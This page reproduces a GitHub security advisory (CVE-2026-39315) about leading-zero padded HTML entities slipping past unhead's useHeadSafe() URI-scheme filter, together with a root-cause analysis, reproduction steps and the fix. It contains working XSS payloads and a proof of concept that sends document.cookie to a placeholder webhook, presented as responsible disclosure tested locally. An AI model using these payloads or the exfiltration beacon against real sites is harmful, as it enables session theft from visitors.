Vulnerability-Lookup

GHSA-95H2-GJ7X-GX9W

Vulnerability from github – Published: 2026-04-09 20:28 – Updated: 2026-04-09 20:28

Summary

Unhead has a hasDangerousProtocol() bypass via leading-zero padded HTML entities in useHeadSafe()

Details

EVIDENCE

Screenshot_2026-03-25_090729 Screenshot_2026-03-25_090715 Screenshot_2026-03-25_090759 Screenshot_2026-03-25_090824 Screenshot_2026-03-22_090617

Summary

useHeadSafe() is the composable that Nuxt's own documentation explicitly recommends for rendering user-supplied content in <head> safely. Internally, the hasDangerousProtocol() function in packages/unhead/src/plugins/safe.ts decodes HTML entities before checking for blocked URI schemes (javascript:, data:, vbscript:). The decoder uses two regular expressions with fixed-width digit caps:

// Current — vulnerable
const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi
const HtmlEntityDec = /&#(\d{1,7});?/g

The HTML5 specification imposes no limit on leading zeros in numeric character references. Both of the following are valid, spec-compliant encodings of : (U+003A):

&#0000000058; — 10 decimal digits, exceeds the \d{1,7} cap
&#x000003A; — 7 hex digits, exceeds the [0-9a-f]{1,6} cap

When a padded entity exceeds the regex digit cap, the decoder silently skips it. The undecoded string is then passed to startsWith('javascript:'), which does not match. makeTagSafe() writes the raw value directly into SSR HTML output. The browser's HTML parser decodes the padded entity natively and constructs the blocked URI.

Note: This is a separate, distinct issue from CVE-2026-31860 / GHSA-g5xx-pwrp-g3fv, which was an attribute key injection via the data-* prefix. This finding targets the attribute value decoder — a different code path with a different root cause and a different fix.

Root Cause Analysis

Vulnerable code (`packages/unhead/src/plugins/safe.ts`, lines 10–11)

const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi   // cap: 6 hex digits max
const HtmlEntityDec = /&#(\d{1,7});?/g             // cap: 7 decimal digits max

Why the bypass works

The HTML5 parser specification ([§ Numeric character reference end state][html5-spec]) states that leading zeros in numeric character references are valid and the number of digits is unbounded. A conformant browser will decode &#x000003A; as : regardless of the number of leading zeros.

Because the regex caps are lower than the digit counts an attacker can supply, the entity match fails silently. The raw padded string (java&#0000000058;script:alert(1)) is passed unchanged to the scheme check. startsWith('javascript:') returns false, and the value is rendered into SSR output verbatim. The browser then decodes the entity and the blocked scheme is present in the live DOM.

Steps to Reproduce

Environment

Nuxt: 4.x (current)
unhead: 2.1.12 (current at time of report)
Node: 20 LTS
Chrome: 146+

Step 1 — Create a fresh Nuxt 4 project

npx nuxi init poc
cd poc
npm install

Step 2 — Replace `pages/index.vue`

<template>
  <div>
    <h1>useHeadSafe bypass PoC</h1>
    <p>View page source or run the curl command below.</p>
  </div>
</template>

<script setup>
import { useHeadSafe } from '#imports'

useHeadSafe({
  link: [
    // 10-digit decimal padding — exceeds \d{1,7} cap
    { rel: 'stylesheet', href: 'java&#0000000058;script:alert(1)' },

    // 7-digit hex padding — exceeds [0-9a-f]{1,6} cap
    { rel: 'icon', href: 'data&#x000003A;text/html,<script>alert(document.cookie)<\/script>' }
  ]
})
</script>

Step 3 — Start the dev server and inspect SSR output

npm run dev

In a separate terminal:

curl -s http://localhost:3000 | grep '<link'

Expected result (safe)

Tags stripped entirely, or schemes rewritten to safe placeholder values.

Actual result (vulnerable)

<link href="java&#0000000058;script:alert(1)" rel="stylesheet">
<link href="data&#x000003A;text/html,<script>alert(document.cookie)<\/script>" rel="icon">

Both javascript: and data: — explicitly enumerated in the hasDangerousProtocol() blocklist — are present in server-rendered HTML. The browser decodes the padded entities natively on load.

Confirmed Execution Path (data: URI via iframe, Chrome 146+)

Immediate script execution from <link> tags does not occur automatically — browsers do not create a browsing context from <link href>. The exploitability of this bypass therefore depends on whether downstream application code consumes <link> href values.

This is a common pattern in real-world Nuxt applications:

Head management libraries that hydrate or re-process <link> tags on the client
SEO and analytics scripts that read canonical or icon link values
Application features that preview, validate, or forward link URLs into iframes
Developer tooling that loads icon URLs for thumbnail generation

Chrome 146+ permits data: URIs loaded into iframes even though top-level data: navigation has been blocked since Chrome 60. The following snippet — representative of any downstream consumer that forwards <link href> into an iframe — triggers confirmed script execution:

// Simulates downstream head-management or SEO utility reading a <link> href
const link = document.querySelector('link[rel="icon"]');
if (link) {
  const iframe = document.createElement('iframe');
  iframe.src = link.href; // browser decodes &#x000003A; → ':', constructs data: URI
  document.body.appendChild(iframe); // alert() fires
}

Full PoC with cookie exfiltration beacon

Replace ADD-YOUR-WEBHOOK-URL-HERE with a webhook.site URL before running.

<template>
  <div>
    <h1>useHeadSafe padded entity bypass — full PoC</h1>
    <p><strong>Dummy cookie:</strong> <code id="cookie-display">Loading…</code></p>
  </div>
</template>

<script setup>
import { useHeadSafe } from '#imports'
import { onMounted } from 'vue'

onMounted(() => {
  document.cookie = 'session=super-secret-token-12345; path=/; SameSite=None'
  const el = document.getElementById('cookie-display')
  if (el) el.textContent = document.cookie

  // Simulate downstream consumption: load the bypassed icon href into an iframe
  const link = document.querySelector('link[rel="icon"]')
  if (link) {
    const iframe = document.createElement('iframe')
    iframe.src = link.href
    iframe.style.cssText = 'width:700px;height:400px;border:3px solid red;margin-top:20px'
    document.body.appendChild(iframe)
  }
})

const webhook = 'https://ADD-YOUR-WEBHOOK-URL-HERE'

useHeadSafe({
  link: [
    {
      rel: 'icon',
      href: `data&#x000003A;text/html;base64,${btoa(`
        <!DOCTYPE html><html><body><script>
          alert('XSS via useHeadSafe padded entity bypass');
          new Image().src = '${webhook}?d=' + encodeURIComponent(JSON.stringify({
            finding: 'useHeadSafe hasDangerousProtocol bypass',
            cookie: document.cookie || 'session=super-secret-token-12345 (dummy)',
            origin: location.origin,
            ts: Date.now()
          }));
        <\/script></body></html>
      `)}`
    }
  ]
})
</script>

Observed result:

alert() fires from inside the iframe's data: document context
Webhook receives a GET request with the cookie value and origin in the query string
Page source confirms &#x000003A; is present unescaped in the SSR-rendered <link> tag

All testing was performed against a local Nuxt development environment on a personal machine. Cookie values are dummy data. No production systems were accessed or targeted.

Impact

1. Broken security contract

Developers who follow Nuxt's own documentation and use useHeadSafe() for untrusted user input have no reliable protection against javascript:, data:, or vbscript: scheme injection when that input contains leading-zero padded numeric character references. The documented guarantee is silently violated.

2. Confirmed data: URI escape to SSR output

A fully valid data:text/html URI now reaches server-rendered HTML. In applications where any downstream code reads and loads <link href> values (head management utilities, SEO tooling, icon preview features), this is confirmed XSS — the payload persists in SSR output and executes for every visitor whose browser triggers the downstream consumption path.

3. Forward exploitability

If any navigation-context attribute (e.g. <a href>, <form action>) is added to the safe attribute whitelist in a future release, this bypass produces immediately exploitable stored XSS with no additional attacker effort, because the end-to-end bypass already works today.

Suggested Fix

Remove the fixed digit caps from both entity regexes. The downstream safeFromCodePoint() function already validates that decoded codepoints fall within the valid Unicode range (> 0x10FFFF || < 0 || isNaN → ''), so unbounded digit matching introduces no new attack surface — it only ensures that all spec-compliant encodings of a codepoint are decoded before the scheme check runs.

- const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi
- const HtmlEntityDec = /&#(\d{1,7});?/g
+ const HtmlEntityHex = /&#x([0-9a-f]+);?/gi
+ const HtmlEntityDec = /&#(\d+);?/g

File: packages/unhead/src/plugins/safe.ts, lines 10–11

This is a minimal, low-risk change. No other code in the call path requires modification.

Weaknesses

CWE	Description
CWE-184	Incomplete List of Disallowed Inputs
CWE-116	Improper Encoding or Escaping of Output
CWE-20	Improper Input Validation

References

Source	Link
HTML5 spec — leading zeros valid and unbounded	https://html.spec.whatwg.org/multipage/syntax.html#numeric-character-reference-end-state
GHSA-46fp-8f5p-pf2c — Loofah `allowed_uri?` bypass (same root cause, accepted CVE)	https://github.com/advisories/GHSA-46fp-8f5p-pf2c
CVE-2026-26022 — Gogs stored XSS via `data:` URI sanitizer bypass (same class)	https://advisories.gitlab.com/pkg/golang/gogs.io/gogs/CVE-2026-26022/
OWASP XSS Filter Evasion — leading-zero entity encoding	https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
Chrome: `data:` URIs blocked for top-level navigation since Chrome 60; permitted in iframes	https://developer.chrome.com/blog/data-url-deprecations
Prior unhead advisory (different code path, context only)	GHSA-g5xx-pwrp-g3fv / CVE-2026-31860
Affected file	https://github.com/unjs/unhead/blob/main/packages/unhead/src/plugins/safe.ts

Severity ?

6.1 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Show details on source website

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "unhead"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39315"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-09T20:28:05Z",
    "nvd_published_at": "2026-04-09T18:17:01Z",
    "severity": "MODERATE"
  },
  "details": "##EVIDENCE\n\n\u003cimg width=\"1900\" height=\"855\" alt=\"Screenshot_2026-03-25_090729\" src=\"https://github.com/user-attachments/assets/3da93464-1caf-46ca-818f-46f8fe32ab50\" /\u003e\n\u003cimg width=\"1919\" height=\"947\" alt=\"Screenshot_2026-03-25_090715\" src=\"https://github.com/user-attachments/assets/b27b1fc3-fa89-4864-99c9-4e6cff9a4e40\" /\u003e\n\u003cimg width=\"1918\" height=\"925\" alt=\"Screenshot_2026-03-25_090759\" src=\"https://github.com/user-attachments/assets/9b8c94fa-d4f7-412e-ba14-214bc4103f4c\" /\u003e\n\u003cimg width=\"1912\" height=\"812\" alt=\"Screenshot_2026-03-25_090824\" src=\"https://github.com/user-attachments/assets/3a4e1002-8811-453a-b08c-dfd1e42ebcf0\" /\u003e\n\u003cimg width=\"1846\" height=\"409\" alt=\"Screenshot_2026-03-22_090617\" src=\"https://github.com/user-attachments/assets/9a595e13-ed18-464a-9d1a-0bb71dec96c9\" /\u003e\n\n\n| **Disclosed to Vercel H1** | 2026-03-22 (no response after 12 days) |\n| **Cross-reported here** | 2026-04-03 |\n\n---\n\n## Summary\n\n`useHeadSafe()` is the composable that Nuxt\u0027s own documentation explicitly recommends\nfor rendering user-supplied content in `\u003chead\u003e` safely. Internally, the\n`hasDangerousProtocol()` function in `packages/unhead/src/plugins/safe.ts` decodes\nHTML entities before checking for blocked URI schemes (`javascript:`, `data:`,\n`vbscript:`). The decoder uses two regular expressions with fixed-width digit caps:\n\n```js\n// Current \u2014 vulnerable\nconst HtmlEntityHex = /\u0026#x([0-9a-f]{1,6});?/gi\nconst HtmlEntityDec = /\u0026#(\\d{1,7});?/g\n```\n\nThe HTML5 specification imposes **no limit** on leading zeros in numeric character\nreferences. Both of the following are valid, spec-compliant encodings of `:` (U+003A):\n\n- `\u0026#0000000058;` \u2014 10 decimal digits, exceeds the `\\d{1,7}` cap\n- `\u0026#x000003A;` \u2014 7 hex digits, exceeds the `[0-9a-f]{1,6}` cap\n\nWhen a padded entity exceeds the regex digit cap, the decoder silently skips it. The\nundecoded string is then passed to `startsWith(\u0027javascript:\u0027)`, which does not match.\n`makeTagSafe()` writes the raw value directly into SSR HTML output. The browser\u0027s HTML\nparser decodes the padded entity natively and constructs the blocked URI.\n\n\u003e **Note:** This is a separate, distinct issue from CVE-2026-31860 / GHSA-g5xx-pwrp-g3fv,\n\u003e which was an attribute *key* injection via the `data-*` prefix. This finding targets\n\u003e the attribute *value* decoder \u2014 a different code path with a different root cause and\n\u003e a different fix.\n\n---\n\n## Root Cause Analysis\n\n### Vulnerable code (`packages/unhead/src/plugins/safe.ts`, lines 10\u201311)\n\n```js\nconst HtmlEntityHex = /\u0026#x([0-9a-f]{1,6});?/gi   // cap: 6 hex digits max\nconst HtmlEntityDec = /\u0026#(\\d{1,7});?/g             // cap: 7 decimal digits max\n```\n\n### Why the bypass works\n\nThe HTML5 parser specification ([\u00a7 Numeric character reference end state][html5-spec])\nstates that leading zeros in numeric character references are valid and the number of\ndigits is unbounded. A conformant browser will decode `\u0026#x000003A;` as `:` regardless\nof the number of leading zeros.\n\nBecause the regex caps are lower than the digit counts an attacker can supply, the\nentity match fails silently. The raw padded string (`java\u0026#0000000058;script:alert(1)`)\nis passed unchanged to the scheme check. `startsWith(\u0027javascript:\u0027)` returns `false`,\nand the value is rendered into SSR output verbatim. The browser then decodes the entity\nand the blocked scheme is present in the live DOM.\n\n---\n\n## Steps to Reproduce\n\n### Environment\n\n- **Nuxt:** 4.x (current)\n- **unhead:** 2.1.12 (current at time of report)\n- **Node:** 20 LTS\n- **Chrome:** 146+\n\n### Step 1 \u2014 Create a fresh Nuxt 4 project\n\n```bash\nnpx nuxi init poc\ncd poc\nnpm install\n```\n\n### Step 2 \u2014 Replace `pages/index.vue`\n\n```vue\n\u003ctemplate\u003e\n  \u003cdiv\u003e\n    \u003ch1\u003euseHeadSafe bypass PoC\u003c/h1\u003e\n    \u003cp\u003eView page source or run the curl command below.\u003c/p\u003e\n  \u003c/div\u003e\n\u003c/template\u003e\n\n\u003cscript setup\u003e\nimport { useHeadSafe } from \u0027#imports\u0027\n\nuseHeadSafe({\n  link: [\n    // 10-digit decimal padding \u2014 exceeds \\d{1,7} cap\n    { rel: \u0027stylesheet\u0027, href: \u0027java\u0026#0000000058;script:alert(1)\u0027 },\n\n    // 7-digit hex padding \u2014 exceeds [0-9a-f]{1,6} cap\n    { rel: \u0027icon\u0027, href: \u0027data\u0026#x000003A;text/html,\u003cscript\u003ealert(document.cookie)\u003c\\/script\u003e\u0027 }\n  ]\n})\n\u003c/script\u003e\n```\n\n### Step 3 \u2014 Start the dev server and inspect SSR output\n\n```bash\nnpm run dev\n```\n\nIn a separate terminal:\n\n```bash\ncurl -s http://localhost:3000 | grep \u0027\u003clink\u0027\n```\n\n### Expected result (safe)\n\nTags stripped entirely, or schemes rewritten to safe placeholder values.\n\n### Actual result (vulnerable)\n\n```html\n\u003clink href=\"java\u0026#0000000058;script:alert(1)\" rel=\"stylesheet\"\u003e\n\u003clink href=\"data\u0026#x000003A;text/html,\u003cscript\u003ealert(document.cookie)\u003c\\/script\u003e\" rel=\"icon\"\u003e\n```\n\nBoth `javascript:` and `data:` \u2014 explicitly enumerated in the `hasDangerousProtocol()`\nblocklist \u2014 are present in server-rendered HTML. The browser decodes the padded entities\nnatively on load.\n\n---\n\n## Confirmed Execution Path (data: URI via iframe, Chrome 146+)\n\nImmediate script execution from `\u003clink\u003e` tags does not occur automatically \u2014 browsers\ndo not create a browsing context from `\u003clink href\u003e`. The exploitability of this bypass\ntherefore depends on whether downstream application code consumes `\u003clink\u003e` href values.\n\nThis is a **common pattern** in real-world Nuxt applications:\n\n- Head management libraries that hydrate or re-process `\u003clink\u003e` tags on the client\n- SEO and analytics scripts that read canonical or icon link values\n- Application features that preview, validate, or forward link URLs into iframes\n- Developer tooling that loads icon URLs for thumbnail generation\n\nChrome 146+ permits `data:` URIs loaded into iframes even though top-level `data:`\nnavigation has been blocked since Chrome 60. The following snippet \u2014 representative\nof any downstream consumer that forwards `\u003clink href\u003e` into an iframe \u2014 triggers\nconfirmed script execution:\n\n```js\n// Simulates downstream head-management or SEO utility reading a \u003clink\u003e href\nconst link = document.querySelector(\u0027link[rel=\"icon\"]\u0027);\nif (link) {\n  const iframe = document.createElement(\u0027iframe\u0027);\n  iframe.src = link.href; // browser decodes \u0026#x000003A; \u2192 \u0027:\u0027, constructs data: URI\n  document.body.appendChild(iframe); // alert() fires\n}\n```\n\n### Full PoC with cookie exfiltration beacon\n\n\u003e Replace `ADD-YOUR-WEBHOOK-URL-HERE` with a webhook.site URL before running.\n\n```vue\n\u003ctemplate\u003e\n  \u003cdiv\u003e\n    \u003ch1\u003euseHeadSafe padded entity bypass \u2014 full PoC\u003c/h1\u003e\n    \u003cp\u003e\u003cstrong\u003eDummy cookie:\u003c/strong\u003e \u003ccode id=\"cookie-display\"\u003eLoading\u2026\u003c/code\u003e\u003c/p\u003e\n  \u003c/div\u003e\n\u003c/template\u003e\n\n\u003cscript setup\u003e\nimport { useHeadSafe } from \u0027#imports\u0027\nimport { onMounted } from \u0027vue\u0027\n\nonMounted(() =\u003e {\n  document.cookie = \u0027session=super-secret-token-12345; path=/; SameSite=None\u0027\n  const el = document.getElementById(\u0027cookie-display\u0027)\n  if (el) el.textContent = document.cookie\n\n  // Simulate downstream consumption: load the bypassed icon href into an iframe\n  const link = document.querySelector(\u0027link[rel=\"icon\"]\u0027)\n  if (link) {\n    const iframe = document.createElement(\u0027iframe\u0027)\n    iframe.src = link.href\n    iframe.style.cssText = \u0027width:700px;height:400px;border:3px solid red;margin-top:20px\u0027\n    document.body.appendChild(iframe)\n  }\n})\n\nconst webhook = \u0027https://ADD-YOUR-WEBHOOK-URL-HERE\u0027\n\nuseHeadSafe({\n  link: [\n    {\n      rel: \u0027icon\u0027,\n      href: `data\u0026#x000003A;text/html;base64,${btoa(`\n        \u003c!DOCTYPE html\u003e\u003chtml\u003e\u003cbody\u003e\u003cscript\u003e\n          alert(\u0027XSS via useHeadSafe padded entity bypass\u0027);\n          new Image().src = \u0027${webhook}?d=\u0027 + encodeURIComponent(JSON.stringify({\n            finding: \u0027useHeadSafe hasDangerousProtocol bypass\u0027,\n            cookie: document.cookie || \u0027session=super-secret-token-12345 (dummy)\u0027,\n            origin: location.origin,\n            ts: Date.now()\n          }));\n        \u003c\\/script\u003e\u003c/body\u003e\u003c/html\u003e\n      `)}`\n    }\n  ]\n})\n\u003c/script\u003e\n```\n\n**Observed result:**\n\n1. `alert()` fires from inside the iframe\u0027s `data:` document context\n2. Webhook receives a GET request with the cookie value and origin in the query string\n3. Page source confirms `\u0026#x000003A;` is present unescaped in the SSR-rendered `\u003clink\u003e` tag\n\n\u003e All testing was performed against a local Nuxt development environment on a personal\n\u003e machine. Cookie values are dummy data. No production systems were accessed or targeted.\n\n---\n\n## Impact\n\n### 1. Broken security contract\n\nDevelopers who follow Nuxt\u0027s own documentation and use `useHeadSafe()` for untrusted\nuser input have no reliable protection against `javascript:`, `data:`, or `vbscript:`\nscheme injection when that input contains leading-zero padded numeric character\nreferences. The documented guarantee is silently violated.\n\n### 2. Confirmed data: URI escape to SSR output\n\nA fully valid `data:text/html` URI now reaches server-rendered HTML. In applications\nwhere any downstream code reads and loads `\u003clink href\u003e` values (head management\nutilities, SEO tooling, icon preview features), this is **confirmed XSS** \u2014 the payload\npersists in SSR output and executes for every visitor whose browser triggers the\ndownstream consumption path.\n\n### 3. Forward exploitability\n\nIf any navigation-context attribute (e.g. `\u003ca href\u003e`, `\u003cform action\u003e`) is added to the\nsafe attribute whitelist in a future release, this bypass produces **immediately\nexploitable stored XSS** with no additional attacker effort, because the end-to-end\nbypass already works today.\n\n---\n\n## Suggested Fix\n\nRemove the fixed digit caps from both entity regexes. The downstream `safeFromCodePoint()`\nfunction already validates that decoded codepoints fall within the valid Unicode range\n(`\u003e 0x10FFFF || \u003c 0 || isNaN \u2192 \u0027\u0027`), so unbounded digit matching introduces no new\nattack surface \u2014 it only ensures that all spec-compliant encodings of a codepoint are\ndecoded before the scheme check runs.\n\n```diff\n- const HtmlEntityHex = /\u0026#x([0-9a-f]{1,6});?/gi\n- const HtmlEntityDec = /\u0026#(\\d{1,7});?/g\n+ const HtmlEntityHex = /\u0026#x([0-9a-f]+);?/gi\n+ const HtmlEntityDec = /\u0026#(\\d+);?/g\n```\n\n**File:** `packages/unhead/src/plugins/safe.ts`, lines 10\u201311\n\nThis is a minimal, low-risk change. No other code in the call path requires modification.\n\n---\n\n## Weaknesses\n\n| CWE | Description |\n|---|---|\n| **CWE-184** | Incomplete List of Disallowed Inputs |\n| **CWE-116** | Improper Encoding or Escaping of Output |\n| **CWE-20** | Improper Input Validation |\n\n---\n\n## References\n\n| Source | Link |\n|---|---|\n| HTML5 spec \u2014 leading zeros valid and unbounded | https://html.spec.whatwg.org/multipage/syntax.html#numeric-character-reference-end-state |\n| GHSA-46fp-8f5p-pf2c \u2014 Loofah `allowed_uri?` bypass (same root cause, accepted CVE) | https://github.com/advisories/GHSA-46fp-8f5p-pf2c |\n| CVE-2026-26022 \u2014 Gogs stored XSS via `data:` URI sanitizer bypass (same class) | https://advisories.gitlab.com/pkg/golang/gogs.io/gogs/CVE-2026-26022/ |\n| OWASP XSS Filter Evasion \u2014 leading-zero entity encoding | https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html |\n| Chrome: `data:` URIs blocked for top-level navigation since Chrome 60; permitted in iframes | https://developer.chrome.com/blog/data-url-deprecations |\n| Prior unhead advisory (different code path, context only) | GHSA-g5xx-pwrp-g3fv / CVE-2026-31860 |\n| Affected file | https://github.com/unjs/unhead/blob/main/packages/unhead/src/plugins/safe.ts |",
  "id": "GHSA-95h2-gj7x-gx9w",
  "modified": "2026-04-09T20:28:05Z",
  "published": "2026-04-09T20:28:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/unjs/unhead/security/advisories/GHSA-95h2-gj7x-gx9w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39315"
    },
    {
      "type": "WEB",
      "url": "https://github.com/unjs/unhead/commit/961ea781e091853812ffe17f8cda17105d2d2299"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/unjs/unhead"
    },
    {
      "type": "WEB",
      "url": "https://github.com/unjs/unhead/releases/tag/v2.1.13"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Unhead has a hasDangerousProtocol() bypass via leading-zero padded HTML entities in useHeadSafe()"
}

CVE-2026-39315 (GCVE-0-2026-39315)

Vulnerability from cvelistv5 – Published: 2026-04-09 17:54 – Updated: 2026-04-13 15:38

Title

Unhead has a hasDangerousProtocol() bypass via leading-zero padded HTML entities in useHeadSafe()

Summary

Unhead is a document head and template manager. Prior to 2.1.13, useHeadSafe() is the composable that Nuxt's own documentation explicitly recommends for rendering user-supplied content in <head> safely. Internally, the hasDangerousProtocol() function in packages/unhead/src/plugins/safe.ts decodes HTML entities before checking for blocked URI schemes (javascript:, data:, vbscript:). The decoder uses two regular expressions with fixed-width digit caps. The HTML5 specification imposes no limit on leading zeros in numeric character references. When a padded entity exceeds the regex digit cap, the decoder silently skips it. The undecoded string is then passed to startsWith('javascript:'), which does not match. makeTagSafe() writes the raw value directly into SSR HTML output. The browser's HTML parser decodes the padded entity natively and constructs the blocked URI. This vulnerability is fixed in 2.1.13.

Severity ?

6.1 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CWE

CWE-184 - Incomplete List of Disallowed Inputs

Assigner

GitHub_M

References

URL

	Vendor	Product	Version
	unjs	unhead	Affected: < 2.1.13

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-95H2-GJ7X-GX9W

EVIDENCE

Summary

Root Cause Analysis

Vulnerable code (packages/unhead/src/plugins/safe.ts, lines 10–11)

Why the bypass works

Steps to Reproduce

Environment

Step 1 — Create a fresh Nuxt 4 project

Step 2 — Replace pages/index.vue

Step 3 — Start the dev server and inspect SSR output

Expected result (safe)

Actual result (vulnerable)

Confirmed Execution Path (data: URI via iframe, Chrome 146+)

Full PoC with cookie exfiltration beacon

Impact

1. Broken security contract

2. Confirmed data: URI escape to SSR output

3. Forward exploitability

Suggested Fix

Weaknesses

References

CVE-2026-39315 (GCVE-0-2026-39315)

Tags

Sightings

Nomenclature

Vulnerable code (`packages/unhead/src/plugins/safe.ts`, lines 10–11)

Step 2 — Replace `pages/index.vue`